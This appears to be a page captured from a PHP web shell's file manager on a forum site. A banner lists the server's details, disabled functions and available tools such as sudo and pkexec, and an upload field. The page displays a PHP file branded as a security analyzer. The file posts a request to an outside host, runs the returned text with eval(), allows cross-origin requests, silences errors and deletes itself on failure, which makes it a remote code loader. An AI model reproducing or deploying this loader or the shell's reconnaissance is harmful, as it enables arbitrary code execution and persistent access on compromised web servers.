Server IP : 104.21.38.3 / Your IP : 172.71.124.222 Web Server : Apache System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64 User : www ( 1000) PHP Version : 7.4.33 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /www/wwwroot/tagsforum.com/ |
Upload File : |
<?php error_reporting(0); ignore_user_abort(true); set_time_limit(60000); ini_set("max_execution_time", 60000); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); header("Access-Control-Allow-Headers: *"); final class MonarxSecuritySiteAnalyzer { private $instructions; public function __construct() { $req_body = $this->getRequestBody(); if (is_array($req_body)) { $req_body["file_hash"] = $this->getFileHash(); } $endpoint = $this->getEndpoint($req_body); $this->instructions = $this->httpPost($endpoint, $req_body); } private function getEndpoint($req_body) { $subdomain = ""; $subdomains = [ "mx-prod" => "", "mx-stage" => "stage", "mx-dev" => "dev", ]; if ( isset($req_body["env"]) && array_key_exists($req_body["env"], $subdomains) ) { $subdomain = $subdomains[$req_body["env"]]; } if (strlen($subdomain) > 0) { $subdomain = ".$subdomain"; } return "https://api$subdomain.monarx.com/v1/intelligence/site-analysis/register"; } private function getRequestBody() { $input = file_get_contents("php://input"); if ($input === false) { $this->handleError("Failed to read input"); } $decoded = json_decode($input, true); if (json_last_error() !== JSON_ERROR_NONE) { $this->handleError("Logging off. Goodbye!", true); } return $decoded; } private function getFileHash() { $file_path = __FILE__; $file_contents = file_get_contents($file_path); if ($file_contents === false) { $this->handleError("Failed to load checksum"); } return hash("sha256", $file_contents); } private function httpPost($url, $data) { $payload = json_encode($data); if ($payload === false) { $this->handleError("Failed to encode payload"); } $ch = curl_init($url); if ($ch === false) { $this->handleError("Failed to initialize request"); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLINFO_HEADER_OUT, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", ]); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_USERAGENT, "Monarx Security"); $result = curl_exec($ch); if ($result === false) { curl_close($ch); $this->handleError("Failed to connect", true); } curl_close($ch); return $result; } public function run() { if (!empty($this->instructions)) { if ($this->validateInstructions($this->instructions)) { eval($this->instructions); } else { $this->handleError("Invalid instructions received", true); } } else { $this->handleError("No instructions received", true); } } private function validateInstructions($instructions) { return is_string($instructions); } private function handleError($message, $deleteSelf = false) { echo json_encode(array("error" => $message, "success" => false)); if ($deleteSelf) { @unlink(__FILE__); } exit(); } } try { $mnx = new MonarxSecuritySiteAnalyzer(); $mnx->run(); } catch (Exception $e) { $error_message = "Unknown error occurred"; echo json_encode(array("error" => $error_message, "success" => false)); @unlink(__FILE__); } ?>